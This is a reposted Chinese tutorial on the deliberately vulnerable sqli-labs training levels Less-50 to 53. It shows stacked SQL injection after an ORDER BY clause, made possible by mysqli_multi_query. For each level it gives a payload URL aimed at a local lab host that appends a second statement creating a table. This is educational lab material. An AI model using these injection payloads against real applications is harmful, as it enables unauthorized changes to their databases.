码迷,mamicode.com
首页 > 其他好文 > 详细

Less50-54 order by之后的stacked injection

时间:2016-08-04 17:51:09      阅读:137      评论:0      收藏:0      [点我收藏+]

标签:

Less-50 

 

    执行sql语句我们这里使用的是mysqli_multi_query()函数,而之前我们使用的是mysqli_query(),区别在于mysqli_multi_query()可以执行多个sql语句,而mysqli_query()只能执行一个sql语句,那么我们此处就可以执行多个sql语句进行注入,也就是我们之前提到的statcked injection。

这里我们上述用到的方法依旧是可行的,我们这里就不重复了,这里就看下stacked injection。

我们直接构造payload:

http://127.0.0.1/sqli-labs/Less-50/index.php?sort=1;create%20table%20less50%20like%20users

创建一个less50的表

 技术分享

 

前面我们已经赘述了stacked injection的过程,这里就不详细讲解了。

 

Less-51

本关的sql语句为$sql="SELECT * FROM users ORDER BY ‘$id‘";

我们此处要进行stacked injection,要注释掉,此处给出payload:

http://127.0.0.1/sqli-labs/Less-51/index.php?sort=1%27;create%20table%20less51%20like%20users--+

创建表less51

 技术分享

 

 

Less-52

和less50是一样的,只是这里的mysql错误不会在前台显示,但是对于stacked injection是一样的利用方式

http://127.0.0.1/sqli-labs/Less-52/index.php?sort=1;create%20table%20less52%20like%20users

 技术分享

 

 

Less-53

和less51是一样的,只是这里的mysql错误不会在前台显示,但是对于stacked injection是一样的利用方式

http://127.0.0.1/sqli-labs/Less-53/index.php?sort=1%27;create%20table%20less53%20like%20users--+

 技术分享

 

Less50-54 order by之后的stacked injection

标签:

原文地址:http://www.cnblogs.com/lcamry/p/Less50-54.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!